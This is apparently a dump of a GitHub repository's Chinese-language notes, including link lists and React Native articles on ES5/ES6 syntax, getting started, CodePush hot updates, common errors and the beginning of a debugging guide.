https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Fragment%E4%B8%93%E9%A2%98.md   \"Fragment专题\"\n[162]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Home%E9%94%AE%E7%9B%91%E5%90%AC.md   \"Home键监听\"\n[163]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/HttpClient%E6%89%A7%E8%A1%8CGet%E5%92%8CPost%E8%AF%B7%E6%B1%82.md   \"HttpClient执行Get和Post请求\"\n[164]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/JNI_C%E8%AF%AD%E8%A8%80%E5%9F%BA%E7%A1%80.md   \"JNI_C语言基础\"\n[165]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/JNI%E5%9F%BA%E7%A1%80.md   \"JNI基础\"\n[166]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/ListView%E4%B8%93%E9%A2%98.md   \"ListView专题\"\n[167]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Parcelable%E5%8F%8ASerializable.md   \"Parcelable及Serializable\"\n[168]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/PopupWindow%E7%BB%86%E8%8A%82.md   \"PopupWindow细节\"\n[169]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Scroller%E7%AE%80%E4%BB%8B.md   \"Scroller简介\"\n[170]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/ScrollingTabs.md   \"ScrollingTabs\"\n[171]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/SDK%20Manager%E6%97%A0%E6%B3%95%E6%9B%B4%E6%96%B0%E7%9A%84%E9%97%AE%E9%A2%98.md   \"SDK Manager无法更新的问题\"\n[172]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Selector%E4%BD%BF%E7%94%A8.md   \"Selector使用\"\n[173]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/SlidingMenu.md   \"SlidingMenu\"\n[174]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/String%E6%A0%BC%E5%BC%8F%E5%8C%96.md   \"String格式化\"\n[175]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/TextView%E8%B7%91%E9%A9%AC%E7%81%AF%E6%95%88%E6%9E%9C.md   \"TextView跑马灯效果\"\n[176]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/WebView%E6%80%BB%E7%BB%93.md   \"WebView总结\"\n[177]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Widget(%E7%AA%97%E5%8F%A3%E5%B0%8F%E9%83%A8%E4%BB%B6).md   \"Widget(窗口小部件)\"\n[178]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Wifi%E7%8A%B6%E6%80%81%E7%9B%91%E5%90%AC.md   \"Wifi状态监听\"\n[179]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/XmlPullParser.md   \"XmlPullParser\"\n\n\n[180]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%B8%80).md \"Kotlin学习教程(一)\"\n[181]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%BA%8C).md \"Kotlin学习教程(二)\"\n[182]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%B8%89).md \"Kotlin学习教程(三)\"\n[183]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E5%9B%9B).md \"Kotlin学习教程(四)\"\n[184]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%BA%94).md \"Kotlin学习教程(五)\"\n[185]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E5%85%AD).md \"Kotlin学习教程(六)\"\n[186]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%B8%83).md \"Kotlin学习教程(七)\"\n[187]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E5%85%AB).md \"Kotlin学习教程(八)\"\n[188]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%B9%9D).md \"Kotlin学习教程(九)\"\n[189]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%85%AB%E7%A7%8D%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95.md \"八种排序算法\"\n[190]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E7%BA%BF%E7%A8%8B%E6%B1%A0%E7%AE%80%E4%BB%8B.md \"线程池简介\"\n[191]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md \"设计模式\"\n[192]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E7%AE%97%E6%B3%95%E7%9A%84%E5%A4%8D%E6%9D%82%E5%BA%A6.md \"算法复杂度\"\n[193]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86.md \"动态代理\"\n[194]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/ConstraintLaayout%E7%AE%80%E4%BB%8B.md \"ConstraintLaayout简介\"\n[195]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/Http%E4%B8%8EHttps%E7%9A%84%E5%8C%BA%E5%88%AB.md \"Http与Https的区别\"\n[196]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/Top-K%E9%97%AE%E9%A2%98.md \"Top-K问题\"\n[197]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E5%8D%81).md \"Kotlin学习教程(十)\"\n[198]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AppPublish/%E4%BD%BF%E7%94%A8Jenkins%E5%AE%9E%E7%8E%B0%E8%87%AA%E5%8A%A8%E5%8C%96%E6%89%93%E5%8C%85.md \"使用Jenkins实现自动化打包\"\n[199]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//Dagger2 \"Dagger2\"\n[200]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/1.Dagger2%E7%AE%80%E4%BB%8B(%E4%B8%80).md  \"1.Dagger2简介(一).md\"\n[201]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/2.Dagger2%E5%85%A5%E9%97%A8demo(%E4%BA%8C).md  \"2.Dagger2入门demo(二).md\"\n[202]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/3.Dagger2%E5%85%A5%E9%97%A8demo%E6%89%A9%E5%B1%95(%E4%B8%89).md  \"3.Dagger2入门demo扩展(三).md\"\n[203]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/4.Dagger2%E5%8D%95%E4%BE%8B(%E5%9B%9B).md  \"4.Dagger2单例(四).md\"\n[204]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/5.Dagger2Lay%E5%92%8CProvider(%E4%BA%94).md  \"5.Dagger2Lay和Provider(五).md\"\n[205]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/6.Dagger2Android%E7%A4%BA%E4%BE%8B%E4%BB%A3%E7%A0%81(%E5%85%AD).md  \"6.Dagger2Android示例代码(六).md\"\n[206]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/7.Dagger2%E4%B9%8Bdagger-android(%E4%B8%83).md  \"7.Dagger2之dagger-android(七).md\"\n[207]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/8.Dagger2%E4%B8%8EMVP(%E5%85%AB).md  \"8.Dagger2与MVP(八).md\"\n[208]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Android%20WorkManager.md  \"Android WorkManager.md\"\n\n[209]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/RxJavaPart/4.RxJava%E8%AF%A6%E8%A7%A3%E4%B9%8B%E6%89%A7%E8%A1%8C%E5%8E%9F%E7%90%86(%E5%9B%9B).md  \"4.RxJava详解之执行原理(四)\"\n[210]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/RxJavaPart/5.RxJava%E8%AF%A6%E8%A7%A3%E4%B9%8B%E6%93%8D%E4%BD%9C%E7%AC%A6%E6%89%A7%E8%A1%8C%E5%8E%9F%E7%90%86(%E4%BA%94).md  \"5.RxJava详解之操作符执行原理(五)\"\n[211]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/RxJavaPart/6.RxJava%E8%AF%A6%E8%A7%A3%E4%B9%8B%E7%BA%BF%E7%A8%8B%E8%B0%83%E5%BA%A6%E5%8E%9F%E7%90%86(%E5%85%AD).md  \"6.RxJava详解之线程调度原理(六)\"\n[212]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Dagger2/9.Dagger2%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90(%E4%B9%9D).md \"9.Dagger2原理分析(九)\"\n[213]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Tools%26Library/%E8%B0%83%E8%AF%95%E5%B9%B3%E5%8F%B0Sonar.md \"调试平台Sonar\"\n\n"
  },
  {
    "path": "docs/android/AndroidNote/ReactNative相关/React Native 的ES5 ES6写法对照表.md",
    "content": "# React/React Native 的ES5 ES6写法对照表\n\n> 本文为转载，[原文链接](http://bbs.reactnative.cn/topic/15/react-react-native-%E7%9A%84es5-es6%E5%86%99%E6%B3%95%E5%AF%B9%E7%85%A7%E8%A1%A8)\n\n很多React/React Native的初学者都被ES6的问题迷惑：各路大神都建议我们直接学习ES6的语法(`class Foo extends React.Component`)，然而网上搜到的很多教程和例子都是ES5版本的，所以很多人在学习的时候连照猫画虎都不知道怎么做。今天在此整理了一些ES5和ES6的写法对照表，希望大家以后读到ES5的代码，也能通过对照，在ES6下实现相同的功能。\n\n* * *\n\n## 模块\n\n### 引用\n\n在ES5里，如果使用CommonJS标准，引入React包基本通过require进行，代码类似这样：\n\n```\n//ES5\nvar React = require(\"react\");\nvar {\n    Component,\n    PropTypes\n} = React;  //引用React抽象组件\n\nvar ReactNative = require(\"react-native\");\nvar {\n    Image,\n    Text,\n} = ReactNative;  //引用具体的React Native组件\n\n```\n\n在ES6里，import写法更为标准\n\n```\n//ES6\nimport React, {\n    Component,\n    PropTypes,\n} from 'react';\nimport {\n    Image,\n    Text\n} from 'react-native'\n\n```\n\n### 导出单个类\n\n在ES5里，要导出一个类给别的模块用，一般通过module.exports来导出\n\n```\n//ES5\nvar MyComponent = React.createClass({\n    ...\n});\nmodule.exports = MyComponent;\n\n```\n\n在ES6里，通常用export default来实现相同的功能：\n\n```\n//ES6\nexport default class MyComponent extends Component{\n    ...\n}\n\n```\n\n引用的时候也类似：\n\n```\n//ES5\nvar MyComponent = require('./MyComponent');\n\n//ES6\nimport MyComponent from './MyComponent';\n\n```\n\n注意导入和导出的写法必须配套，不能混用！\n\n## 定义组件\n\n在ES5里，通常通过React.createClass来定义一个组件类，像这样：\n\n```\n//ES5\nvar Photo = React.createClass({\n    render: function() {\n        return (\n            <Image source={this.props.source} />\n        );\n    },\n});\n\n```\n\n在ES6里，我们通过定义一个继承自React.Component的class来定义一个组件类，像这样：\n\n```\n//ES6\nclass Photo extends React.Component {\n    render() {\n        return (\n            <Image source={this.props.source} />\n        );\n    }\n}\n\n```\n\n### 给组件定义方法\n\n从上面的例子里可以看到，给组件定义方法不再用 `名字: function()`的写法，而是直接用`名字()`，在方法的最后也不能有逗号了。\n\n```\n//ES5\nvar Photo = React.createClass({\n    componentWillMount: function(){\n\n    },\n    render: function() {\n        return (\n            <Image source={this.props.source} />\n        );\n    },\n});\n\n```\n\n```\n//ES6\nclass Photo extends React.Component {\n    componentWillMount() {\n\n    }\n    render() {\n        return (\n            <Image source={this.props.source} />\n        );\n    }\n}\n\n```\n\n### 定义组件的属性类型和默认属性\n\n在ES5里，属性类型和默认属性分别通过propTypes成员和getDefaultProps方法来实现\n\n```\n//ES5\nvar Video = React.createClass({\n    getDefaultProps: function() {\n        return {\n            autoPlay: false,\n            maxLoops: 10,\n        };\n    },\n    propTypes: {\n        autoPlay: React.PropTypes.bool.isRequired,\n        maxLoops: React.PropTypes.number.isRequired,\n        posterFrameSrc: React.PropTypes.string.isRequired,\n        videoSrc: React.PropTypes.string.isRequired,\n    },\n    render: function() {\n        return (\n            <View />\n        );\n    },\n});\n\n```\n\n在ES6里，可以统一使用static成员来实现\n\n```\n//ES6\nclass Video extends React.Component {\n    static defaultProps = {\n        autoPlay: false,\n        maxLoops: 10,\n    };  // 注意这里有分号\n    static propTypes = {\n        autoPlay: React.PropTypes.bool.isRequired,\n        maxLoops: React.PropTypes.number.isRequired,\n        posterFrameSrc: React.PropTypes.string.isRequired,\n        videoSrc: React.PropTypes.string.isRequired,\n    };  // 注意这里有分号\n    render() {\n        return (\n            <View />\n        );\n    } // 注意这里既没有分号也没有逗号\n}\n\n```\n\n也有人这么写，虽然不推荐，但读到代码的时候你应当能明白它的意思：\n\n```\n//ES6\nclass Video extends React.Component {\n    render() {\n        return (\n            <View />\n        );\n    }\n}\nVideo.defaultProps = {\n    autoPlay: false,\n    maxLoops: 10,\n};\nVideo.propTypes = {\n    autoPlay: React.PropTypes.bool.isRequired,\n    maxLoops: React.PropTypes.number.isRequired,\n    posterFrameSrc: React.PropTypes.string.isRequired,\n    videoSrc: React.PropTypes.string.isRequired,\n};\n\n```\n\n_注意:_ 对React开发者而言，static成员在IE10及之前版本不能被继承，而在IE11和其它浏览器上可以，这有时候会带来一些问题。React Native开发者可以不用担心这个问题。\n\n### 初始化state\n\nES5下情况类似，\n\n```\n//ES5\nvar Video = React.createClass({\n    getInitialState: function() {\n        return {\n            loopsRemaining: this.props.maxLoops,\n        };\n    },\n})\n\n```\n\nES6下，有两种写法：\n\n```\n//ES6\nclass Video extends React.Component {\n    state = {\n        loopsRemaining: this.props.maxLoops,\n    }\n}\n\n```\n\n不过我们推荐更易理解的在构造函数中初始化（这样你还可以根据需要做一些计算）：\n\n```\n//ES6\nclass Video extends React.Component {\n    constructor(props){\n        super(props);\n        this.state = {\n            loopsRemaining: this.props.maxLoops,\n        };\n    }\n}\n\n```\n\n## 把方法作为回调提供\n\n很多习惯于ES6的用户反而不理解在ES5下可以这么做：\n\n```\n//ES5\nvar PostInfo = React.createClass({\n    handleOptionsButtonClick: function(e) {\n        // Here, 'this' refers to the component instance.\n        this.setState({showOptionsModal: true});\n    },\n    render: function(){\n        return (\n            <TouchableHighlight onPress={this.handleOptionsButtonClick}>\n                <Text>{this.props.label}</Text>\n            </TouchableHighlight>\n        )\n    },\n});\n\n```\n\n在ES5下，React.createClass会把所有的方法都bind一遍，这样可以提交到任意的地方作为回调函数，而this不会变化。但官方现在逐步认为这反而是不标准、不易理解的。\n\n在ES6下，你需要通过bind来绑定this引用，或者使用箭头函数（它会绑定当前scope的this引用）来调用\n\n```\n//ES6\nclass PostInfo extends React.Component\n{\n    handleOptionsButtonClick(e){\n        this.setState({showOptionsModal: true});\n    }\n    render(){\n        return (\n            <TouchableHighlight\n                onPress={this.handleOptionsButtonClick.bind(this)}\n                onPress={e=>this.handleOptionsButtonClick(e)}\n                >\n                <Text>{this.props.label}</Text>\n            </TouchableHighlight>\n        )\n    },\n}\n\n```\n\n箭头函数实际上是在这里定义了一个临时的函数，箭头函数的箭头`=>`之前是一个空括号、单个的参数名、或用括号括起的多个参数名，而箭头之后可以是一个表达式（作为函数的返回值），或者是用花括号括起的函数体（需要自行通过return来返回值，否则返回的是undefined）。\n\n```\n// 箭头函数的例子\n()=>1\nv=>v+1\n(a,b)=>a+b\n()=>{\n    alert(\"foo\");\n}\ne=>{\n    if (e == 0){\n        return 0;\n    }\n    return 1000/e;\n}\n\n```\n\n需要注意的是，不论是bind还是箭头函数，每次被执行都返回的是一个新的函数引用，因此如果你还需要函数的引用去做一些别的事情（譬如卸载监听器），那么你必须自己保存这个引用\n\n```\n// 错误的做法\nclass PauseMenu extends React.Component{\n    componentWillMount(){\n        AppStateIOS.addEventListener('change', this.onAppPaused.bind(this));\n    }\n    componentDidUnmount(){\n        AppStateIOS.removeEventListener('change', this.onAppPaused.bind(this));\n    }\n    onAppPaused(event){\n    }\n}\n\n```\n\n```\n// 正确的做法\nclass PauseMenu extends React.Component{\n    constructor(props){\n        super(props);\n        this._onAppPaused = this.onAppPaused.bind(this);\n    }\n    componentWillMount(){\n        AppStateIOS.addEventListener('change', this._onAppPaused);\n    }\n    componentDidUnmount(){\n        AppStateIOS.removeEventListener('change', this._onAppPaused);\n    }\n    onAppPaused(event){\n    }\n}\n\n```\n\n从[这个帖子](http://www.tuicool.com/articles/Rj6RFnm)中我们还学习到一种新的做法：\n\n```\n// 正确的做法\nclass PauseMenu extends React.Component{\n    componentWillMount(){\n        AppStateIOS.addEventListener('change', this.onAppPaused);\n    }\n    componentDidUnmount(){\n        AppStateIOS.removeEventListener('change', this.onAppPaused);\n    }\n    onAppPaused = (event) => {\n        //把方法直接作为一个arrow function的属性来定义，初始化的时候就绑定好了this指针\n    }\n}\n\n```\n\n## Mixins\n\n在ES5下，我们经常使用mixin来为我们的类添加一些新的方法，譬如PureRenderMixin\n\n```\nvar PureRenderMixin = require('react-addons-pure-render-mixin');\nReact.createClass({\n  mixins: [PureRenderMixin],\n\n  render: function() {\n    return <div className={this.props.className}>foo</div>;\n  }\n});\n\n```\n\n然而现在官方已经不再打算在ES6里继续推行Mixin，他们说：[Mixins Are Dead. Long Live Composition](https://medium.com/@dan_abramov/mixins-are-dead-long-live-higher-order-components-94a0d2f9e750)。\n\n尽管如果要继续使用mixin，还是有一些第三方的方案可以用，譬如[这个方案](https://github.com/brigand/react-mixin)\n\n不过官方推荐，对于库编写者而言，应当尽快放弃Mixin的编写方式，上文中提到[Sebastian Markbåge](https://gist.github.com/sebmarkbage/ef0bf1f338a7182b6775)的一段代码推荐了一种新的编码方式：\n\n```\n//Enhance.js\nimport { Component } from \"React\";\n\nexport var Enhance = ComposedComponent => class extends Component {\n    constructor() {\n        this.state = { data: null };\n    }\n    componentDidMount() {\n        this.setState({ data: 'Hello' });\n    }\n    render() {\n        return <ComposedComponent {...this.props} data={this.state.data} />;\n    }\n};\n\n```\n\n```\n//HigherOrderComponent.js\nimport { Enhance } from \"./Enhance\";\n\nclass MyComponent {\n    render() {\n        if (!this.data) return <div>Waiting...</div>;\n        return <div>{this.data}</div>;\n    }\n}\n\nexport default Enhance(MyComponent); // Enhanced component\n\n```\n\n用一个“增强函数”，来某个类增加一些方法，并且返回一个新类，这无疑能实现mixin所实现的大部分需求。\n\n## ES6+带来的其它好处\n\n### 解构&属性延展\n\n结合使用ES6+的解构和属性延展，我们给孩子传递一批属性更为方便了。这个例子把className以外的所有属性传递给div标签：\n\n```\nclass AutoloadingPostsGrid extends React.Component {\n    render() {\n        var {\n            className,\n            ...others,  // contains all properties of this.props except for className\n        } = this.props;\n        return (\n            <div className={className}>\n                <PostsGrid {...others} />\n                <button onClick={this.handleLoadMoreClick}>Load more</button>\n            </div>\n        );\n    }\n}\n\n```\n\n下面这种写法，则是传递所有属性的同时，用覆盖新的className值：\n\n```\n<div {...this.props} className=\"override\">\n    …\n</div>\n\n```\n\n这个例子则相反，如果属性中没有包含className，则提供默认的值，而如果属性中已经包含了，则使用属性中的值\n\n```\n<div className=\"base\" {...this.props}>\n    …\n</div>\n\n```\n\n以上便完成了所有的介绍～\n"
  },
  {
    "path": "docs/android/AndroidNote/ReactNative相关/ReactNative入门.md",
    "content": "# ReactNative入门\n\n## 简介\n\nReactNative旨在开发过程的高效，它具有一些原生App所不具备的优势，它的跨平台性非常强，代码的复用程度非常的高，并且可以具有热更新的能力，其次就是它的社区也在日趋的强大起来。\n\n## 为什么选择ReactNative\n\n纵观国内的比较大的厂商并没有完全的转移到React Native，但也没有完全的排斥说不搞React Native，所以学习这样一个新的技能对我们有百利而无一害，在学习React Native的过程中，我们也会接触到React这样一个新的UI方案，同时对一些ES6，ES7新的特性也都会有接触，总体感觉还不错～\n\n## 入门\n\n学习React Native最好还是要有一些React JavaScript 以及原生应用的开发经验，当然没有也无妨，慢慢一步一步的来嘛。\n\n**目前我介绍的是针对Android端介绍的，后续也会把Ios相关的内容补上。**\n\n需要有的软件:\n\n- Node.js\n- Android studio\n- Watchman\n\n运行：\n\n```\nreact-native init AwesomeProject\ncd AwesomeProject\nreact-native run-android\n```\n\n## 知识点\n\n**项目的入口:** index.android.js / index.ios.js\n\n**视图呈现:**\n\n```\nrender() {\n    return (\n      <View style={cStyles.container}>\n        <View style={styles.row}>\n          <Text style={styles.label}>AAA</Text>\n          <View style={styles.rowCount}>\n            <Text style={styles.countUnit}>BBB/Text>\n            <Text style={styles.price}>CCC</Text>\n          </View>\n        </View>\n        <LinkRow label=\"DDD\" onPress={() => {\n        }}/>\n        <LinkRow label=\"EEE\" onPress={this.logout}/>\n      </View>\n    );\n  }\n```\n\n我们的视图需要写在return()下面，并且这个下面只能有一个根View\n\n**抽出公共控件:**\n\n在界面中，可能我们有很多控件是可以复用的，如果我们不把它们抽出来的话，可能就会导致代码的臃肿，并且不是很利于维护，所以我们应该将公共部分抽出来。\n\n**将公用的style抽象出来**\n\n同上\n\n## 推荐编译器\n\n- 需要测试性能的时候需要使用Android studio\n- 与性能无关时，编写代码时还是推荐使用WebStorm编写代码\n\n\n好了，就先介绍到这里吧，在等到我有时间的时候，可以介绍一下，手写一个tab，或者实现登录注册的全部逻辑(包含网络框架)。\n"
  },
  {
    "path": "docs/android/AndroidNote/ReactNative相关/ReactNative利用CodePush实现热更新.md",
    "content": "# ReactNative利用CodePush实现热更新\n\n\nReactNative的优势之一就是它可以进行热更新，需要热更新的应用场景有很多种，例如：\n\n- 各大应用市场审核时间过长\n- 一些重业务逻辑，经常需要更新的页面\n- 一个较为庞大的App，可能每一块都由一个部门负责，不能每个部门一有变动就推一个新的版本\n- 如果app走自己平台的cdn的时候，需要考虑流量的成本\n\n下面我们说一下，在ReactNative项目中如何接入CodePush，如果英语还ok的小伙伴，可以直接照着英文文档撸一遍[文档地址](https://github.com/Microsoft/react-native-code-push/blob/master/docs/setup-android.md)。\n\n## CodePush\n\n- 直接对用户部署代码更新\n- 管理 Alpha，Beta 和生产环境应用\n- 支持 React Native 和 Cordova\n- 支持JavaScript 文件与图片资源的更新\n\n### 安装CodePush CLI\n\n在终端输入命令：``npm install -g code-push-cli``\n\n### 创建CodePush账号\n\n在终端输入命令：``code-push register``\n\n命令输入完之后，会弹出网页，我们可以在上面注册账号登录，也可以直接用GitHub登录，登录之后，网页会返回给我们一个key，我们把这个key再粘贴回命令行就可以了。\n\n### 登录\n\n登录：``code-push login``\n\n其它相关命令：``code-push logout``\n\n列出登录的token：``code-push access-key ls``\n\n删除某个key：``code-push access-key rm <accessKey>``\n\n### 向CodePush注册app\n\nAndroid与ios需要注册两次：\n\n```\ncode-push app add MyApp-Android\ncode-push app add MyApp-ios\n```\n\n注册之后会返回key，这个key我们需要保存一下\n\n### 在项目中集成CodePush SDk\n\n在项目的根目录运行：``npm install --save react-native-code-push``\n\n在Android目录运行：``npm i -g rnpm``   //一般来说我们的React里面都会有，在V0.27以后\n\n在Android中添加配置文件：``rnpm link react-native-code-push``\n\n运行这条命令的过程中，它会让我们输入key，就是刚刚保存的那个，当然不输入也可以\n\n### 配置Android工程\n\n需要在``android/app/build.gradle``检查是否有如下内容，如果没有则添加：\n\n```\napply from: \"../../node_modules/react-native/react.gradle\"\napply from: \"../../node_modules/react-native-code-push/android/codepush.gradle\"\n\n\n...\ndependencies {\n    ...\n    compile project(':react-native-code-push')\n}\n```\n\n需要在``android/settings.gradle``检查是否有如下内容，如果没有则添加：\n\n```\ninclude ':app', ':react-native-code-push'\nproject(':react-native-code-push').projectDir = new File(rootProject.projectDir, '../node_modules/react-native-code-push/android/app')\n```\n\n### 获取部署的秘钥\n\n运行：``code-push deployment ls Daily -k``\n\n### 进行配置\n\n在``MainApplication.java``中添加如下代码：\n\n```\n...\n// 1. Import the plugin class.\nimport com.microsoft.codepush.react.CodePush;\n\npublic class MainApplication extends Application implements ReactApplication {\n\n    private final ReactNativeHost mReactNativeHost = new ReactNativeHost(this) {\n        ...\n        // 2. Override the getJSBundleFile method in order to let\n        // the CodePush runtime determine where to get the JS\n        // bundle location from on each app start\n        @Override\n        protected String getJSBundleFile() {\n            return CodePush.getJSBundleFile();\n        }\n\n        @Override\n        protected List<ReactPackage> getPackages() {\n            // 3. Instantiate an instance of the CodePush runtime and add it to the list of\n            // existing packages, specifying the right deployment key. If you don't already\n            // have it, you can run \"code-push deployment ls <appName> -k\" to retrieve your key.\n            return Arrays.<ReactPackage>asList(\n                new MainReactPackage(),\n                new CodePush(\"deployment-key-here\", MainApplication.this, BuildConfig.DEBUG)\n            );\n        }\n    };\n}\n```\n\n```\n...\n// 1. Declare your ReactNativeHost to extend ReactInstanceHolder. ReactInstanceHolder is a subset of ReactNativeHost, so no additional implementation is needed.\nimport com.microsoft.codepush.react.ReactInstanceHolder;\n\npublic class MyReactNativeHost extends ReactNativeHost implements ReactInstanceHolder {\n  // ... usual overrides\n}\n\n// 2. Provide your ReactNativeHost to CodePush.\n\npublic class MainApplication extends Application implements ReactApplication {\n\n   private final MyReactNativeHost mReactNativeHost = new MyReactNativeHost(this);\n\n   @Override\n   public void onCreate() {\n     CodePush.setReactInstanceHolder(mReactNativeHost);\n     super.onCreate();\n  }\n}\n```\n\n这样就完事啦～\n\n如果您遇到什么问题，欢迎给我提issue～\n"
  },
  {
    "path": "docs/android/AndroidNote/ReactNative相关/ReactNative报错记录.md",
    "content": "# React-Native 报错记录\n\n- ``xxx is not defined``\n    \n    例如：``Component is not defined``\n    错误原因：在当前的js文件中没有定义或者没有引入这个组建，并且有调用的地方\n    \n- ``JSX attributes must only assigned a non-empty expression(29:28)``\n    \n    错误原因：这个报错就非常简单了，已经告诉我们在哪一行了，错误原因就是，定义了之后不能为空\n    \n- ``Cannot read property 'Aspect' of undefined``\n\n    错误原因：没有在当前文件夹下运行``react-native start``,导致一些关键的东西引入不进来\n\n- ``undefined is not an object(evaluating 'Daily_Service.props.navigation')``\n\n    错误原因：一般来说，我们这样写了代码，就是因为我们认为，可以用this,或者用到某个对象的时候，但是它本身是调用不了的。\n\n\n- ``java.lang.illegalStateException:WebSocket connection no longer valid``\n\n    错误原因，``react-native start``命令执行之后意外中断了\n    \n   \n\n\n\n\n\n- ``在View添加了onPress，但是在点击的时候，不会产生任何效果``\n\n    错误原因：View没有这样的方法，当遇到需要这样操作的方法的时候可以加入``<TouchableOpacity>  </TouchableOpacity>``\n    \n    \n\n\n    \n    \n    \n    \n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/ReactNative相关/ReactNative调试心得.md",
    "content": "本文出自[《React Native学习笔记》](https://github.com/crazycodeboy/RNStudyNotes/)系列文章。\n\n在做React Native开发时，少不了的需要对React Native程序进行调试。调试程序是每一位开发者的基本功，高效的调试不仅能提高开发效率，也能降低Bug率。本文将向大家分享React Native程序调试的一些技巧和心得。  \n\n## Developer Menu\n\nDeveloper Menu是React Native给开发者定制的一个开发者菜单，来帮助开发者调试React Native应用。 \n>提示：生产环境release (production) 下Developer Menu是不可用的。\n\n### 如何开启Developer Menu  \n\n#### 在模拟器上开启Developer Menu\n\n#####  Android模拟器： \n\n可以通过`Command⌘ + M `快捷键来快速打开Developer Menu。也可以通过模拟器上的菜单键来打开。  \n>心得：高版本的模拟器通常没有菜单键的，不过Nexus S上是有菜单键的，如果想使用菜单键，可以创建一个Nexus S的模拟器。  \n\n#####  iOS模拟器： \n\n可以通过`Command⌘ + D`快捷键来快速打开Developer Menu。   \n\n#### 在真机上开启Developer Menu：\n\n在真机上你可以通过摇动手机来开启Developer Menu。  \n\n#### 预览图\n![Developer Menu](https://raw.githubusercontent.com/crazycodeboy/RNStudyNotes/master/React%20Native调试技巧与心得/images/Developer%20Menu.jpg)\n\n## Reloading 